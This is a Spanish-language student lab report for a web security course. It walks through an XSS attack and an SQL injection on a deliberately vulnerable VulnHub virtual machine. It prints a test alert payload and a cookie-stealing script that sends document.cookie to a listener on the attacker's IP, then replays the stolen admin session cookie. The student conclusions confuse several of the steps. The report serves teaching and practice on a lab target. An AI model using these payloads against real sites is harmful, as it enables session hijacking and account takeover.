Descarga la aplicación para disfrutar aún más
Vista previa del material en texto
INSTITUTO TECNOLÓGICO SUPERIOR PROGRESO Organismo Público Descentralizado del Gobierno del Estado FORMATO DE PRÁCTICA 2023B Carrera Semestre Clave de la asignatura Nombre de la materia Ingeniería en Sistemas Computacionales. 7 CID-2101 Seguridad en la Web Practica No. Laboratorio de Nombre de la practica 4 Centro de cómputo Cross site scripting(xss) Objetivo Entrar al usuario de administrador con un ATAQUE CROSS SITE SCRIPTING (xss) Nombre del alumno Matrícula Miguel angel de la cruz centeno. 04200007 Wilberth Rafael Madera poot 04200014 Estado del arte ATAQUE CROSS SITE SCRIPTING (xss) Descripción 1. Con base a la explicación del Documento hacer el ATAQUE CROSS SITE SCRIPTING (xss) dado por el docente. Desarrollo ATAQUE CROSS SITE SCRIPTING (xss) En esta actividad llevaremos a cabo un ataque Cross site scripting (xss) en el que un actor malintencionado logra inyectar un script malicioso en páginas o aplicaciones web. Para llevar a cabo este ejercicio, se utilizará la máquina virtua-vl “PENTESTER LAB: XSS AND MYSQL FILE” de vulnhub y el navegador FireFox. Paso 1. Comenzamos el ataque tratando de inyectar un script básico como <script>alert(‘xss’)</script> , en cada una de las entradas del formulario, con el objetivo de encontrar la entrada que permite ejecutarlo. La figura 2 muestra que en la entrada “Text”, se encuentra la vulnerabilidad. Figura 1: Formulario de la página. Paso 2. Al realizar el submit, el script se ejecutará y mostrará el mensaje “xss”, tal como se representa en la figura 2. A través de este Script básico, podemos confirmar de manera concluyente que esta aplicación web es vulnerable. Figura 2: inyección de un script la entrada “Text” del formulario. Paso 3. La máquina virtual alberga un script que actúa como un usuario administrador que inicia una sesión periódica. Como atacantes, nuestro objetivo es obtener la cookie de la sesión de este usuario mediante Cross site scripting. Para lograrlo, emplearemos el siguiente script en la entrada “Text”, tal como se representa en la figura 3. Se debe sustituir la url por tu IP privada. <script>document.write('<img src="http:192.168.10.14:8585'+document.cookie+' "/>');</script> Figura 3: inyección de un script para obtener cookies en la entrada “Text” del formulario. Al realizar el submit, se ejecutará el primer blog que subimos al inyectar el script básico que mostraba un alert de JS, tal como se representa en la figura 4. En la figura 5, se muestra un icono de archivo desconocido debido a la subida de un blog de naturaleza desconocida. Figura 4: ejecución de un alert a causa del primer script básico inyectado anteriormente. Figura 5: Comentario de naturaleza desconocido al inyectar un script de cross site scripting. Paso 4. Usando python3, iniciamos un servidor http local en el puerto 8585 con el propósito de escuchar las solicitudes al mismo y, por lo tanto, recibir las cookies que se transmiten al servidor a través del protocolo http en el puerto especifico, tal como se representa en la figura 6. Figura 6: ejecutando el comando http.server para iniciar un servidor http. La figura 7 muestra como nuestro servidor local recibe la cookie de sesión del usuario administrador. Figura 7: servidor http local recibiendo la cookie de sesión del usuario administrador. Paso 5. En el formulario “Login” mostrado en la figura 8, procederemos a realizar una inspección para ubicar la opción “Storage” en el menú de la herramienta “inspector” del navegador. En la sección “cookies” cambiamos el campo “Value” por la cookie de la sesión que robaremos, tal como se representa en la figura 9. Figura 8: formulario login para iniciar sesión como administrador. Figura 9: sección de cookies del inspector en el navegador Firefox en la columna Value. Por último, accedemos a la ruta de /admin, tal como se muestra en la figura 10. Como se muestra en la figura 10, se representa el formulario de “administrador de mi blog” al cual el navegador nos redirigirá debido a que habíamos obtenido una cookie de sesión del administrador. Figura 10: ruta de administrador. Figura 10: Formulario de administración del Blog. Inyeección SQL en Mysql En esta actividad, llevaremos a cabo una inyección de SQL, el cual tiene como objetivo explotar la vulnerabilidad que permite la inyección de sentencias desde la URL con el fin de acceder y capturar información de una base de datos. En la figura 12 se representa el formulario que, como actores maliciosos debemos inyectarle sql. Figura 11: formulario para atacar. En la barra de navegación de Firefox, ejecutaremos la sentencia “order by” para determinar el número de campos que tiene la tabla actual, tal como se representa en la figura 13. Figura 12: sentencia order by para hallar el número de columnas que tiene una tabla. Ejecutaremos la sentencia que se ve en la figura 14 para visualizar las tablas que forman parte del esquema de la base de datos. Se puede observar que existe varias tablas, pero nuestro objetivo es la tabla “users”. Figura 13: sentencia UNION para visualizar las tablas del esquema de la base de datos. Ejecutaremos la sentencia que se muestra en la figura 15 para visualizar los campos de la tabla “users”. Figura 14: sentencia UNION para visualizar los campos de la tabla “users”. Por último, ejecutamos la última sentencia que se muestra en la figura 15 para visualizar los nombres de usuario junto con sus contraseñas de la tabla “users”. Figura 15: sentencia UNION para visualizar los nombres de usuario junto con sus contraseñas. Finalmente, convertimos el string en un MD5 hash para saber la contraseña del administrador para después iniciar sesión como administrador, como se muestra en la figura 16. Figura 16: iniciando sesión como administrador. Conclusiones personales Miguel Angel: En esta práctica se aprendió a como hacer un ataque de CROSS SITE SCRIPTING (xss), buscado una invulnerabilidad en la página analizando el formulario y probando cada uno de los campos hasta buscar una vulnerabilidad después de buscarlo se hace una inyección de un script en la entrada “Text” del formulario desde ahí se desarrolla el ataque buscando los cookies para que nos de la contraseña después al ultimo paso convertimos el string que nos da y lo convertimos en un MD5 hash desde ahí tenemos la contraseña del administrador. Wilberth Madera: En esta práctica pudimos observar y poner en practica de como hacer un ataque de Cross site scripting donde pudimos buscar una vulnerabilidad en la página donde nosotros pudimos analizar en la pagina del formulario y poder comprobar cada uno de los campos hasta que busquemos una vulnerabilidad una ves que pudimos buscarlo le hacemos un ataque inyección de un script en la entrada de los campos que tiene para poder agregar información una vez que terminamos con el formulario pasamos a hacerle una inyección SQL para poder obtener las cookies para poder hacer que nos de la contraseña una vez que tengamos esto nos dará la contraseña en los campos de texto que están para luego pasarlo para poder desencriptar y así tener la contraseña. Criterios de evaluación Excelente Regular Mal Funcionalidad Se entregó funcionando la práctica sin errores Se entregó parcialmente funcionando la práctica Se entregó sin funcionar Tiempo y forma Se entregó en tiempo y con el formato adecuado Se entregó en tiempo o con el formato adecuado No se entregó Contenido Tiene todos los apartados correctamente escritos Casi todos los apartados están correctamente escritos No tiene todos los apartados correctamente escritos Fotografías o vídeo (evidencia) Muestra el funcionamiento completo de la práctica desde el inicio, desarrollo y final en su reporte Muestra parcialmente el funcionamiento de la práctica en su reporte No hay vídeo o no muestra el funcionamiento de la práctica en su reporte Conclusiones Tiene conclusiones personalesde cada integrante del equipo de lo que hizo y la conclusión grupal es la misma de todo el grupo Tiene conclusiones personales de cada integrante del equipo de lo que hizo o la conclusión grupal es la misma de todo el grupo No tiene conclusiones personales de cada integrante del equipo de lo que hizo ni la conclusión grupal es la misma de todo el grupo Ortografía No tiene ninguna falta ortográfica Tiene algunas faltas ortográfica, cada una se le descuenta 1 punto Todo el documento esta lleno de errores ortográficos.
Compartir